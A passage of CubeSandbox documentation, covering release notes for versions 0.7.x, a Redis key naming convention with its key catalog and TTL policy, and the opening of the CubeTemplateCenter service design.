`-.`), improving compatibility with Host-based services inside the sandbox. The new `network.maskRequestHost` parameter can be set when creating a sandbox to specify the `Host` forwarded to in-sandbox services (for example `localhost:${PORT}`, which expands to `localhost:3000` when accessing port 3000), so applications that rely on Host for routing, validation, or callbacks work correctly. #### Compute Node Isolation Support isolating a compute node at the scheduling layer so operators can log in for maintenance, upgrades, and troubleshooting. After isolation, no new sandboxes are scheduled to that node; existing sandboxes continue to run unaffected. Isolate a node with `cubemastercli node isolate `, and lift isolation with the `unisolate` subcommand. For details, see [Node Operations](https://cubesandbox.com/guide/node-operations.html). #### CubeOps Operations Service: Decouple Ops & Web Console Logic from CubeAPI Web console capabilities are split out of the CubeAPI module into a standalone CubeOps service, making CubeAPI lighter and more extensible. ### ✨ Enhancements #### SDK * **Go SDK PTY** (#815): Improved interactive terminal capabilities. * **Python SDK X-API-Key coverage** (#995): Carry X-API-Key on all request paths. * **Go SDK Connect protocol frames and dataplane fixes** (#828, #941): process.Process/Start, exit-0 end event parsing, encode deduplication, and dataplane defect fixes. * **Short sandbox ID prefix resolution** (#697): CubeMaster / Cubelet support short ID prefix resolution for easier ops and troubleshooting. #### Templates & Storage * Templates can enable the ivshmem device (#858). * **cubemastercli UX improvements** (#891): Better experience for `tpl info` / `delete` / `redo`. * New cubemastercli volume-related subcommands (#1077). #### Lifecycle & Control Plane * **CLM state sync** (#956): Stronger sandbox lifecycle state consistency; control-plane pause/resume actions are synced to the dataplane. * **Async CubeProxy state push** (#1044): Push with backoff retries to reduce sync-push jitter. * **Skip capacity checks for delete-triggered auto-resume** (#1015): Prevent resume on the delete path from being wrongly blocked by capacity checks. * **Schema migration toggle** (#1037, #1076): New `CUBE_AUTO_MIGRATION` env var to skip automatic DB migration at startup for controlled upgrades. * Support deleting sandboxes that are in the paused state. #### Networking & Security Proxy * **CubeEgress MITM leaf certificate SAN** (#948): Write subjectAltName on leaf certificates for better TLS verification compatibility. * **Return 403 on traffic token validation failure** (#1053): Align with E2B and avoid confusion with other error codes. * **CubeProxy Redis hostname resolver** (#714): Correctly resolve Redis hostnames. * **Disable gzip on Connect streams** (#1083): Prevent streaming RPCs from being broken by compression. #### Deployment & Runtime * **PostgreSQL metadata backend** (#674, #1000): CubeMaster DAO layer supports PostgreSQL. * Switch in-sandbox cgroup from v1 to v2 (#899). * Cubelet state tmpfs supports dynamic expansion (#1008). #### Web UI / CubeOps / Other * Improved compute-node component version inventory reporting (#1020). * CubeMaster HTTP APIs now handled with the gin framework (#922). ### 🐛 Bug Fixes #### Lifecycle & Sandbox * Nested host-mount mount order: apply configuration in user-specified order (#946). * Periodic compute-node health sync (#730): Avoid inconsistency between health state and the scheduling view. * WebUI: Converge to a 404 terminal state after sandbox timeout cleanup (#1036); eliminate session invalidation risk (#1048). #### Security & Validation * CVE-2026-24834 / CVE-2026-47243 fixes (#1066). * Stronger image reference validation (#868): Prevent parameter injection. * PVM kernel update (#937): Address security vulnerabilities. ### 📚 Documentation * Kubernetes deployment guide (#1067 and others): EN/ZH install / architecture / upgrade / FAQ. * Node isolation guide (#1093). * Volume plugin guide and COS examples (#997, #1089). * Component troubleshooting guide (#968). --- --- url: https://cubesandbox.com/changelog/v0.7.0.md --- ## 2026.08.28 Release v0.7.0 CubeSandbox 0.7.0 introduces 4 major features along with multiple enhancements and bug fixes. 239 commits from 57 contributors. ### 🎯 Major Features #### Cross-Node Pause & Resume With an S3 backend, sandboxes support pause/resume across nodes as well as creating sandboxes from snapshots. This feature is currently in preview. #### Component Multi-Versioning * Newly created templates and snapshots now record the versions of the components they depend on. After components on compute nodes are upgraded, historical templates and snapshots remain usable, and upgrades no longer affect pause/resume of existing instances — improving stability for running workloads. #### Network Subsystem Refactor: Faster Sandbox Network Provisioning * Architecture: fewer components to deploy — the network-agent component is merged into Cubelet, reducing inter-process RPC calls during sandbox creation; TAP device lifecycle management is redesigned to prevent network rules from leaking across sandboxes, reducing attack surface. * Performance: optimized the eBPF network policy provisioning path, significantly reducing sandbox creation latency for sandboxes with network rules; removed unnecessary netlink dump operations so that creating new TAP devices under high concurrency remains stable when idle TAP devices are exhausted. #### Separation of Control Plane and Operations Architecturally, operations capabilities are split out of CubeMaster. Node management logic now lives in CubeOps, which supports multi-replica deployment and ships the cubeopscli tool. ### ✨ Enhancements #### Templates & Storage * CubeS3lvol COW (#1490): besides the local XFS COW engine, cubecow now supports remote snapshot storage on S3 object storage, enabling cross-node pause/resume and snapshot cloning. * Private HTTP image registry support (#1369): pull images from HTTP image registries to build templates. * Built-in MinIO as the default S3 volume backend (#1408): MinIO is deployed by default as the S3 backend for the volume feature and cross-node pause/resume. Users can also specify their own S3 backend. #### Lifecycle & Control Plane * Node deletion (#1202): support removing a node from the cluster so it no longer participates in scheduling. #### Networking & Security Proxy * Network subsystem refactor: NetworkAgent is fully embedded into Cubelet, streamlining the network provisioning flow. * Support dynamically updating network policies for running sandboxes. * CubeEgress L7 forwarding rules now support custom ports. * CubeVS learns MAC addresses within the same subnet, avoiding black-holed traffic in non-hairpin networks. * CubeProxy supports a custom management port and the gRPC protocol. #### SDK * Volume support: the Go (#1269) and Node (#1277) SDKs add Volume CRUD and `volumeMounts`, bringing all three languages to parity. * Full template alias support: build-time aliases (#1119) and alias management for existing templates (#1120), covering Go / Node / Python. * Go SDK user-level file view (#1348): `Files.ForUser` isolates file access by user identity. * Node SDK runtime timeout (#1251): `Sandbox.setTimeout(timeout)` supports `NEVER_TIMEOUT`. * Python SDK sandbox scheduling scope (#1144): `Sandbox.create(distribution_scope=...)` explicitly specifies the nodes/zones a sandbox can be placed on. * Go SDK private sandbox dataplane fix (#1185): RunCode / Commands / Files / PTY now correctly pass through the TrafficAccessToken. * Node SDK auth header fix (#1360): an `Authorization` header explicitly set by the caller (including lowercase variants) is no longer overridden by the SDK's default `apiKey`. * Clone snapshot deferred cleanup across all three SDKs (#1095): reference counting ensures the temporary snapshot is deleted only after all clones are destroyed. #### Deployment & Runtime * Configurable log rotation policy (#1339): users can adjust cubelet's log rotation policy via the configuration file. * Kernel / guest images published as separate artifacts (#1324): releases no longer rebuild the kernel and guest images; fixed versions are pulled from dedicated `kernel-release-*` / `guest-image-*` releases. #### Web UI / CubeOps / Other * CubeOps: node management moved into this module; new cubeopscli tool for node management, replacing the cubemastercli node subcommands; two-replica deployment supported by default (#1384, #1494). * Web UI: node isolation/unisolation and node operation history viewing (#1384). ### 🐛 Bug Fixes #### Lifecycle & Sandbox * Fixed sandbox state inconsistency, zombie processes, and deletion failures caused by failed pause/resume (#978, #985, #1137, #1274). * Fixed snapshot performance issues (#1300, #1504). * Fixed a template cache data race during concurrent sandbox creation (#1366). #### Networking & Security * Fixed sandbox state anomalies caused by TAP device recovery failures during pause/resume and node restarts (#930, #987, #1207). #### Other * Fixed log rotation configuration not taking effect (#1289). * Expanded the Python SDK compatibility end-to-end tests with coverage for the filesystem, rollback & cloning, online timeout updates, abnormal lifecycles, and advanced template parameters (#1226). ### 📚 Documentation * New K8s deployment guide covering compute-node cube-node rebuild constraints and hostNetwork guidance (#1495). * Community pages (#1344, #1364): sponsors and contributors wall added to the README. --- --- url: https://cubesandbox.com/changelog/v0.7.1.md --- ## 2026.09.11 Release v0.7.1 CubeSandbox 0.7.1 introduces 1 major feature along with multiple enhancements and bug fixes. 70 commits from 24 contributors. ### 🎯 Major Features #### End-to-end high availability for Cube control-plane services * A standalone template-center service enables multi-replica CubeMaster deployment. * The lifecycle management service now supports active/standby deployment. ### ✨ Enhancements #### Templates & Storage * Snapshot support for Host Mount and Volume Plugin: snapshot, restore, rollback, and clone now work for sandboxes with external mounts (#1654, #1656). * Standalone CubeTemplateCenter: template build / delete / reclaim is split out of CubeMaster into an independently scalable multi-replica service. Build artifacts are persisted to S3/MinIO (AWS S3 compatible). Also fixes long-standing issues around concurrent build races, inconsistent artifact table names, and ephemeral local-disk storage (#1659). * Faster same-bucket cross-node snapshot restore (#1663): restoring a snapshot from the same bucket now uses object-storage server-side copy, which is significantly faster. Also improves delayed-delete reclamation and adds snapshot cancellation. #### Lifecycle & Control Plane * CLM now supports active/standby disaster recovery. * Running sandboxes no longer block snapshot deletion (#1620): deleting a still-referenced snapshot takes effect immediately; underlying storage is reclaimed after the last reference is released. #### Security * virtiofsd hardening (#1612): after a directory whitelist is set, root-directory mutation operations are rejected, as are forged readdirplus requests. #### Deployment & Runtime * CubeS3lvol on Kubernetes (#1637): use the S3 backend for cross-node pause/resume and snapshots in K8s deployments. * One-click deployment supports external PostgreSQL (#1644): choose MySQL / PostgreSQL via `CUBE_DATABASE_DRIVER` and connect to a self-managed database instance. * CubeS3lvol is now opt-in (#1622, #1633): set `[cow.s3] enable = true` (or `ONE_CLICK_ENABLE_S3LVOL=1` for one-click deploy); it is disabled by default. Also fixes the switch not taking effect during one-click upgrades. Upgrade note: nodes that were using S3 without an explicit setting must enable it after upgrade. * Unified Helm Redis logical-DB config (#1638): new top-level `redis.db` applies to CubeMaster / CubeProxy / CLM, so multiple clusters sharing one Redis instance can isolate logical databases per cluster. #### Web UI / CubeOps / Other * cubemastercli batch template deletion (#1549): `tpl delete` accepts multiple template IDs in one call. ### 🐛 Bug Fixes #### Lifecycle & Sandbox * Fixed sandboxes set to never expire (`NEVER_TIMEOUT`) being immediately treated as expired (#1401). * Fixed invalid CPU / memory specs in create requests being treated as 0, allowing sandboxes to bypass node resource filters and be scheduled onto any node (#1463). * Fixed a new timeout passed on Resume being discarded, so the sandbox kept its pre-pause timeout (#862). * Fixed snapshots after an S3-backend restore falling back to a full memory dump; snapshots stay incremental (#1688). * Fixed no log output from `cubecli logs` for sandboxes created from a template (#1616). * Fixed template creation hanging indefinitely when a compute node is unresponsive; added a configurable timeout (default 300 seconds) (#994). * Fixed gRPC connections not being closed promptly after a node is taken offline or deleted (#1585). * Fixed S3 volume mount failures with newer s3fs (1.97+ / FUSE3) (#1647). #### Networking & Security * Fixed the transparent proxy returning 504 after 60 seconds when talking to slow-TTFB upstreams such as LLMs; proxy send/receive timeout is now 2 hours (#1655). * Fixed CubeEgress failures caused by oversized credential values injected via network rules; the per-entry injection limit is aligned with E2B at 2048 bytes (#1606). * Fixed TAP device names silently truncated past the kernel length limit, causing network device lookup failures (#1552). * Fixed intermittent Cubelet network-plugin init failures on K8s when the gateway ARP cache is not ready early in node startup (#1609). * Image-registry credentials no longer appear in component logs (#1600). #### Deployment & Upgrade * Fixed Helm upgrades failing because Redis StatefulSet PVC labels changed (#1604). * Fixed `global.imageRegistry` overwriting explicitly configured private / third-party registry addresses (#1605). * Fixed helm test pods remaining Pending on tainted nodes (#1388). * Fixed Terraform deployments skipping validation and template creation when node queries returned 0 healthy nodes (#1602). * Fixed CubeOps ignoring the logical-DB number when using a standalone Redis config, which hid node metrics and caused scheduling-metric update timeouts (#1607). * Fixed lowercase log-level values (e.g. `info`) not taking effect and falling back to DEBUG (#1597). * Fixed builder image builds failing on Ubuntu 20.04 (#1588). #### Other * Node / Python SDK: fixed command execution never returning when timeout is `0` or `NEVER_TIMEOUT` (#1485). * Fixed cubeopscli reporting a hardcoded 0.1.0 version and the `version` subcommand being unavailable (#1596). * Fixed cubemastercli `version` producing no output by default (#1657). * Fixed the Web UI runtime config page showing deprecated settings (#1573). --- --- url: https://cubesandbox.com/changelog/v0.7.2.md --- ## 2026.09.23 Release v0.7.2 CubeSandbox 0.7.2 introduces 3 major features along with multiple enhancements and bug fixes. 56 commits from 29 contributors. ### 🎯 Major Features #### Much faster cross-node restore reads Sandboxes restored cross-node on the S3 backend read disk data from S3 on demand; this release optimizes that read path systematically: * New whole-object local cache: immutable data objects on S3 are kept on the local node, so repeated reads after a restore — and re-importing the same snapshot — hit the local cache instead of going back to S3. * Reduced read amplification during restore: scattered small reads are coalesced into whole-object GETs, and the concurrent fetch budget is capped. * With the default MinIO setup, cross-node restore / create-from-snapshot reaches running in under 1 second. #### New JuiceFS volume plugin New JuiceFS storage plugin: sandboxes can mount a JuiceFS filesystem as a persistent volume, with full POSIX semantics. #### Automatic reclaim of idle guest memory Idle memory inside sandboxes is reclaimed back to the host: node memory usage falls back dynamically with the real usage of the sandboxes, so a single node can host more sandboxes. ### ✨ Enhancements #### Templates & Storage * S3lvol hot upgrade: fixes the EIO errors seen inside sandboxes when upgrading the CubeS3lvol storage component. * Local-filesystem storage for component repositories and template artifacts (#1749): component repositories and template artifacts can be stored on S3 / local disk / PVC / NFS. * Incremental snapshot fix (#1343): fixed data loss in incremental snapshots. * Faster virtiofs on the pause / snapshot path (#1748): optimized the state preparation flow before pause. * Cubelet can configure the template install path, allowing large templates to be moved to the data disk (#1675). * CubeS3lvol object cache: identical objects read during a cross-node restore are served from the local object cache first, and the object cache and dest cache share the same local cache storage (#1756). #### Lifecycle & Control Plane * `sandbox.connect` supports a `timeout` parameter (#1352). #### Deployment & Runtime * cube-node now runs on the host network by default in K8s deployments (#1815): recreating the cube-node Pod no longer destroys the network namespace, so the network of every sandbox on the node stays up. Switching an existing cluster requires draining compute nodes and explicit confirmation (`hostNetworkChangeAck`); fresh installs are unaffected. * Faster sandbox cold start (#1694): disabled the RAID6 PQ startup benchmark in the guest kernel, which is unrelated to workloads. #### Web UI / CubeOps / Other * Removed the legacy E2B SDK reference; Python SDK command execution now goes through the `envd` Connect RPC (#1786). * The Python SDK's `run_code` (E2B-compatible code-interpreter interface) can now read environment variables injected at sandbox creation (#1323), matching the behavior of `commands.run`; the new sandbox-code example image is required. ### 🐛 Bug Fixes #### Lifecycle & Sandbox * Fixed inconsistent memory-snapshot and image-snapshot state when building a template (#1760). * Fixed existing snapshots becoming unusable after a template was deleted (#1763). * Fixed a race where concurrent image builds left tasks stuck in `BUILT` with database connection timeouts (#1802). * Fixed snapshot creation retries being rejected as a changed request body (#1253). * Fixed paused sandboxes not returning a timeout (`end_at=0`) in Info / List queries (#1801). * Fixed an explicit timeout passed to Connect not taking effect for already-running sandboxes; a shorter timeout no longer shortens an existing longer deadline, and the Python SDK now passes the parameter through (#1352). * Fixed PVM detection: the upstream PVM ABI removed the CPUID signature, so detection now relies on the MSR list supported by KVM, compatible with both old and new ABIs (#1781). * Fixed a kernel panic when PVM guests booted on Intel hosts because GMI sm3/sm4 probing was misdetected (#1725). * Fixed resume failing after pause on ARM (`Could not restore GICv3ITS state`): the vgic state save was incorrectly optimized to all zeros by the compiler (#1658). #### Networking & Security * Fixed sandboxes having a guest MTU larger than the node uplink NIC under overlay CNI, which left the network broken out of the box: guest MTU now follows the node NIC automatically (it only decreases), and can be pinned with `cubeNode.network.mtu` (#1674). #### Deployment & Upgrade * Fixed the `CUBE_SANDBOX_CUBE_EGRESS_IMAGE` environment variable not being updated in `.one-click.env` for one-click deployments (#1788). * Fixed CubeOps failing to connect when the MySQL password contains special characters; invalid configuration now fails at startup (#1617). * Fixed one-click install failing silently on snap-packaged Docker; it now tells users to switch to `docker-ce` (#1789). * Fixed inconsistent Redis logical-DB configuration across components in one-click deployments, which made CubeOps write metrics to the wrong database (#1705). * Fixed PVM installation failing on Ubuntu (#1770). * Fixed the template artifact cache not being movable to the data disk on its own (#1675). * Fixed CubeS3lvol being pinned to CPU0/CPU1 by default; another CPU is now picked automatically when unconfigured (#1713). #### Other * Fixed PostgreSQL template-alias duplicate errors being misclassified by error text and occasional template status publish failures; classification now uses SQLSTATE (#1724). * Fixed compatibility issues in the cubebench CPU topology report (#1757). * Added an Ubuntu desktop sandbox example and integration guide (#1746). * Added an OpenCode integration: a plugin hook redirects bash into the sandbox so commands no longer run directly on the developer's machine (#1238). * Added a CI status page (#1737). * Corrected the PVM expansion: Pagetable-based, not Parallel (#1772). * Added a documentation security warning: injecting credentials over HTTP is unsafe, limited to controlled internal networks; prefer HTTPS (#1818). --- --- url: https://cubesandbox.com/contributors.md description: Thank you to everyone who has contributed to Cube Sandbox. --- --- --- url: https://cubesandbox.com/dev.md --- # Developer Docs This chapter is for engineers **working on the CubeSandbox codebase** itself — contributors, maintainers, and integrators of the internal services (CubeMaster, CubeProxy, CubeAPI, Cubelet). It collects the conventions, contracts, and internal references you need to change the system safely. If you are *using* CubeSandbox (deploying it, building templates, calling the API), the [Guide](../guide/introduction) is the better starting point. The [Architecture](../architecture/overview) section explains the system design; this chapter goes one level deeper into the rules that govern how the code is written and how the services cooperate. ## Conventions * [Redis Key Convention](./redis-key-spec) — the unified namespace every service must use for the shared Redis instance: naming format, scope ownership, the registered key catalog, TTL policy, and the per-service key-builder modules. ## Service designs * [CubeTemplateCenter Design](./templatecenter-design) — the standalone template build service: control/data plane split, routing rules, callback authentication, artifact lifecycle, deployment wiring, and known limitations. ## What belongs here * Cross-service data contracts and naming conventions (keys, topics, schemas) * Internal module boundaries and where to add new behavior (e.g. key builders, cache layers) * Coding standards and contribution rules specific to the internal services * Reserved for future pages: internal APIs, testing conventions, contribution guide ::: tip Bilingual parity Developer docs are maintained in both English (`docs/dev/`) and Chinese (`docs/zh/dev/`). When you add or update a page, keep both languages in sync and use the same filename so the URLs stay aligned. ::: --- --- url: https://cubesandbox.com/dev/redis-key-spec.md --- # Redis Key Naming Convention > Scope: the Redis instance shared by CubeMaster and CubeProxy; CubeAPI must follow this convention when it onboards in the future. ## 1. Overview Multiple CubeSandbox services (CubeMaster, CubeProxy, and potentially CubeAPI in the future) share the same Redis instance. To prevent key collisions, accidental deletes/overwrites, and to enable `SCAN`-based governance and auditing, every Redis key must follow a unified namespace convention. **Core principles**: * Bare entity IDs as top-level keys are forbidden. * All keys must be produced by each service's **unified key-builder module**; scattered literal concatenation is forbidden. * Cross-service shared data uses the `shared` namespace; changes require multi-side coordination. ## 2. Naming format ``` cube:{ver}:{scope}:{resource}[:{sub}...]:{id} ``` | Segment | Meaning | Values | | --- | --- | --- | | `cube` | Fixed product prefix, prevents collisions with third-party keys | constant `cube` | | `ver` | Schema version; bump on **breaking** value-structure changes | currently `v1` | | `scope` | Ownership namespace (by ownership/sharing, not by language) | see §3 | | `resource[:sub]` | Business entity, lowercase, colon-separated | e.g. `node:metric`, `instance:info` | | `id` | Entity ID (sandboxID, nodeID, taskID, etc.) | must not be omitted | **Example**: `cube:v1:shared:sandbox:proxy:7c8fbcd45ffe450fb8f7fb223ad45507` ## 3. Scope enumeration | scope | Meaning | Readers / writers | | --- | --- | --- | | `master` | CubeMaster-private data | CubeMaster only | | `proxy` | CubeProxy-private data | CubeProxy only | | `api` | CubeAPI-private data (reserved) | CubeAPI only | | `shared` | Cross-service contract | multiple services | Keys under `shared` are cross-service contracts: adding, renaming, or changing the data structure requires **all readers and writers to change in lockstep**; no single service may change unilaterally. ## 4. Mandatory rules 1. **Centralized construction**: CubeMaster uses [`CubeMaster/pkg/base/rediskey/rediskey.go`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/base/rediskey/rediskey.go); CubeProxy uses [`CubeProxy/lua/redis_keys.lua`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeProxy/lua/redis_keys.lua). When adding a new key, register a builder there first (or in the CubeAPI equivalent), then call it from business code. 2. **Explicit TTL**: cache keys must set a TTL; keys whose lifecycle is managed by an explicit business `DEL` (e.g. sandbox routes) default to no TTL. A fallback TTL is only allowed when there is a refresh path, or when the TTL exceeds the entity's maximum lifetime. 3. **Reserved semantic segments** (use when adding locks, idempotency keys, etc.): * Distributed lock: `cube:v1:{scope}:lock:{resource}:{id}` * Idempotency key: `cube:v1:{scope}:idemp:{resource}:{id}` 4. **Governance friendly**: keys of the same kind must be enumerable via `SCAN cube:v1:{scope}:{resource}:*`; do not embed a variable ID in the middle of the prefix in a way that breaks bulk matching. 5. **Version evolution**: bump `ver` only on breaking value-structure changes; adding Hash fields or extending fields does not require a bump. 6. **ID safety**: the `id` segment must not contain unescaped `:`; validate entity IDs before construction to prevent key injection and unauthorized reads. ## 5. Registered key catalog The following are the standard keys currently registered in the system (`v1`). New business keys must be added here. | Meaning | Key pattern | Type | scope | Writer | Reader | TTL | | --- | --- | --- | --- | --- | --- | --- | | Node resource metrics | `cube:v1:master:node:metric:{nodeID}` | Hash | master | CubeMaster | CubeMaster | refresh-style (heartbeat, default 600s) | | Sandbox proxy route | `cube:v1:shared:sandbox:proxy:{sandboxID}` | Hash | shared | CubeMaster | CubeProxy | none (lifecycle via `DEL`) | | Instance info | `cube:v1:master:instance:info:{insID}` | Hash | master | CubeMaster | CubeMaster | none | | Describe task result | `cube:v1:master:task:describe:{taskID}` | Hash | master | CubeMaster | CubeMaster / external | 86400s (configurable) | | Instance metadata (reserved) | `cube:v1:master:instance:meta:{...}` | string / list | master | CubeMaster | CubeMaster | none | | Sandbox lifecycle registry | `cube:v1:shared:sandbox:lifecycle:meta` | Hash | shared | CubeMaster | cube-lifecycle-manager | none (lifecycle via `HDEL`) | | Sandbox lifecycle events | `cube:v1:shared:sandbox:lifecycle:events` | Stream | shared | CubeMaster | cube-lifecycle-manager | MAXLEN ~ 100000 | | Sandbox lifecycle state | `cube:v1:shared:sandbox:lifecycle:state:{sandboxID}` | String | shared | cube-lifecycle-manager | cube-lifecycle-manager | SET TTL (default 60s); plain-text state (`paused` / `running` / transition markers) | | Sandbox lifecycle wakeup | `cube:v1:shared:sandbox:lifecycle:notify` | Pub/Sub channel | shared | cube-lifecycle-manager | cube-lifecycle-manager | n/a (best-effort hint) | | CLM leader lease | `cube:v1:shared:lock:lifecycle-manager:leader` | String | shared | cube-lifecycle-manager | cube-lifecycle-manager | SET NX PX, default 10s; single-key WATCH transaction for renew/release | | Sandbox op lock (pause/resume/delete) | `cube:v1:master:lock:sandbox:{sandboxID}` | String | master | CubeMaster | CubeMaster | SET NX EX by op: pause **180s**, resume/delete **120s**, other **60s**; unlock = token-matched Lua GET+DEL (no renew) | | CubeProxy replica registry | `cube:v1:shared:cube_proxy:registry` | Hash | shared | CubeProxy | cube-lifecycle-manager | none (evicted on heartbeat expiry via `HDEL`) | | CubeProxy replica heartbeat | `cube:v1:shared:cube_proxy:heartbeat` | Sorted Set | shared | CubeProxy | cube-lifecycle-manager | none (`ZREMRANGEBYSCORE` on expiry, default 15s) | ### 5.1 Hash field conventions **`node:metric`** (node metrics) | field | Meaning | | --- | --- | | `ins_id` | Node ID | | `update_at` | Metric update time | | `quota_cpu_usage` | CPU quota usage (milli-cpu) | | `quota_mem_mb_usage` | Memory quota usage (MB) | | `mvm_num` | VM count | | `nic_queues` | NIC queue count | | `data_disk_usage_per` / `storage_disk_usage_per` / `sys_disk_usage_per` | Disk usage (%) | **`sandbox:proxy`** (sandbox route, cross-service contract) | field | Meaning | | --- | --- | | `HostIP` | Host IP | | `SandboxIP` | Sandbox internal IP (optional) | | `CreatedAt` | Creation time | | `AllowPublicTraffic` | Whether the public URL is accessible without a traffic token | | `TrafficAccessToken` | Private public-URL access token (optional) | | `MaskRequestHost` | Host template CubeProxy forwards to user services (optional; `${PORT}` expands per request) | | `{containerPort}` | Container port → host mapped port (dynamic field) | **`instance:info`** (instance info) See the `redis` tags on `InstanceInfoMap` in [`CubeMaster/pkg/base/types/redis.go`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/base/types/redis.go). **`task:describe`** (async task) | field | Meaning | | --- | --- | | `task_id` | Task ID | | `status` | Task status | | `error_code` | Error code | | `error_message` | Error message | **`sandbox:lifecycle:meta`** (sandbox lifecycle registry, cross-service contract) | field | Meaning | | --- | --- | | `{sandboxID}` | JSON-encoded `SandboxLifecycleMeta` (see [`CubeMaster/pkg/lifecycle/schema.go`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/lifecycle/schema.go)) | **`sandbox:lifecycle:state`** (pause/resume coordination) | value | Meaning | | --- | --- | | `running` | Sandbox is active | | `pausing` | Pause transition in progress | | `paused` | Sandbox is paused | | `resuming` | Resume transition in progress | ## 6. TTL policy | Key type | Policy | Notes | | --- | --- | --- | | `node:metric` | Refresh-style TTL | `EXPIRE` after each heartbeat write (default 600s); live nodes keep refreshing, offline nodes auto-expire | | `sandbox:proxy` | No TTL | Written once at sandbox creation with no refresh path; lifecycle managed by CubeMaster `DEL` on teardown. **Do not** set a TTL shorter than the max sandbox lifetime | | `task:describe` | Fixed TTL | `EXPIRE` on write, default 86400s (`describe_task_expire_time`) | | `instance:info` / `instance:meta` | No TTL | Managed per instance lifecycle; may be augmented later | | `sandbox:lifecycle:meta` | No TTL | Written on sandbox create, `HDEL` on destroy | | `sandbox:lifecycle:events` | MAXLEN ~ | Stream trimmed on each `XADD` (default ~100000) | | `sandbox:lifecycle:state` | SET TTL | `EX` on each write (cube-lifecycle-manager default 60s); released on rollback or sandbox delete | | `lock:lifecycle-manager:leader` | Renewable lease | Acquired with `SET NX PX` (default 10s); renewed and released with a token-checked, single-key `WATCH`/`MULTI`/`EXEC` transaction; no Lua/EVAL | | `lock:sandbox` | SET NX EX (op-specific) | Crash/leak safety net only; normal unlock is token-safe Lua (`GET` must match holder token before `DEL`). TTLs: pause **180s**, resume/delete **120s**, default **60s** (`CubeMaster/pkg/sandboxlock`). No renew. | | `cube_proxy:registry` | No TTL (heartbeat-derived) | Written by each CubeProxy replica on startup; entries are `HDEL`'d by cube-lifecycle-manager once the corresponding heartbeat expires | | `cube_proxy:heartbeat` | Sorted Set expiry | Score = last heartbeat unix ms; entries older than `heartbeat_ttl` (default 15s) are removed via `ZREMRANGEBYSCORE` | | Cache keys (future) | TTL required | Must be declared on write and registered in this document | ## 7. Per-service implementation ### CubeMaster (Go) * Key builders: [`pkg/base/rediskey`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/base/rediskey/rediskey.go) * Business read/write: [`pkg/localcache`](https://github.com/tencentcloud/CubeSandbox/tree/master/CubeMaster/pkg/localcache), [`pkg/instancecache`](https://github.com/tencentcloud/CubeSandbox/tree/master/CubeMaster/pkg/instancecache) * Sandbox lifecycle lock: [`pkg/sandboxlock`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/sandboxlock/lock.go) * Config (`redis:` block): `node_metric_ttl_sec` (node-metric TTL in seconds) ### CubeProxy (OpenResty / Lua) * Key builders: [`lua/redis_keys.lua`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeProxy/lua/redis_keys.lua) * Business reads: [`lua/sandbox_backend.lua`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeProxy/lua/sandbox_backend.lua), [`lua/utils.lua`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeProxy/lua/utils.lua) * CubeProxy is **read-only** for keys under `shared`; it does not write them ### CubeAPI (Rust, reserved) CubeAPI does not use Redis today. If it onboards in the future, it must follow: * Private data: `cube:v1:api:{resource}:{id}` * Session: `cube:v1:api:session:{token}` * Rate limit: `cube:v1:api:ratelimit:{apikey}` * Config cache: `cube:v1:api:setting:{setting_key}` * Shared data: reuse `cube:v1:shared:*`; never create prefix-less keys * Implement a key-builder module equivalent to CubeMaster / CubeProxy ## 8. Adding a new key 1. Register the key pattern, data type, scope, readers/writers, and TTL in §5 of this document. 2. Add a builder function in the service's key-builder module (Go `rediskey` / Lua `redis_keys`). 3. If `shared` scope, update all readers and writers together and add integration tests. 4. Confirm `SCAN cube:v1:{scope}:{resource}:*` enumerates correctly. *** ## Appendix: Legacy key crosswalk The table below maps pre-standardization keys to the keys defined in this convention. Use it when investigating legacy data, logs, or ops scripts. **New code must use only the standard keys on the right.** | Meaning | Legacy key (deprecated) | Standard key | Type | scope | | --- | --- | --- | --- | --- | | Node resource metrics | `{nodeID}` (bare ID) | `cube:v1:master:node:metric:{nodeID}` | Hash | master | | Sandbox proxy route | `bypass_host_proxy:{sandboxID}` | `cube:v1:shared:sandbox:proxy:{sandboxID}` | Hash | shared | | Instance info | `cube_instance_info:{insID}` | `cube:v1:master:instance:info:{insID}` | Hash | master | | Describe task result | `describetask:{taskID}` | `cube:v1:master:task:describe:{taskID}` | Hash | master | | Instance metadata | `instance:metadata:{...}` | `cube:v1:master:instance:meta:{...}` | string / list | master | --- --- url: https://cubesandbox.com/dev/templatecenter-design.md --- # CubeTemplateCenter Design CubeTemplateCenter (TC) is the standalone template build service split out of CubeMaster. This document describes the architecture as implemented; code comments reference sections here as `design §x.y`. ## 1. Overview Historically CubeMaster built template ext4 images in-process: it pulled the source OCI image, unpacked layers, ran `mkfs.ext4`, uploaded the artifact, and distributed it to nodes — all inside the same process that serves the sandbox control plane. TC takes over the data-plane half of that work. The split exists for three reasons: * **Privilege isolation.** Building needs root (`umoci unpack` preserving uid/gid, `mkfs.ext4`, loop devices). Keeping that out of the process that answers public API calls shrinks the blast radius. * **Resource isolation.** A build spikes CPU/IO; the control plane's latency SLO should not depend on how many builds are running. * **Independent lifecycle.** TC runs with node-local state (singleton by default; multi-replica in S3-backed mode, §9.1); CubeMaster is stateless and horizontally scalable (see §9). ## 2. Process topology ### 2.1 Processes * **CubeMaster** — control plane: persists job rows, forwards builds to TC, receives status callbacks, distributes artifacts to nodes, serves all template writes and cached reads. * **CubeTemplateCenter** — data plane: pulls images, builds ext4, uploads to S3, reports status back. Singleton by default; multiple replicas are supported in S3-backed mode (§9.1). ### 2.2 Communication * CubeMaster → TC: internal HTTP `POST /tc/api/v1/build` (submit), `POST /tc/api/v1/artifact/delete` (physical delete). * TC → CubeMaster: `POST /internal/template/jobs/:job_id/status` (status callback, authenticated — §6.1). * Both share CubeDB and the artifact directory (§9.7). ### 2.3 Ownership split CubeMaster owns every business-state write (job rows, definitions, replicas, aliases) and every cubelet RPC. TC owns the artifact's physical data (local ext4 file, S3 object) and nothing else. TC never initializes the worker (cubelet) grpc conn pool, so any handler that can issue a cubelet RPC — create-from-snapshot, delete, redo resume — is served by CubeMaster and is not even routed on TC (see §4). ## 3. API and job model ### 3.1 Alias semantics A template alias is an optional stable name 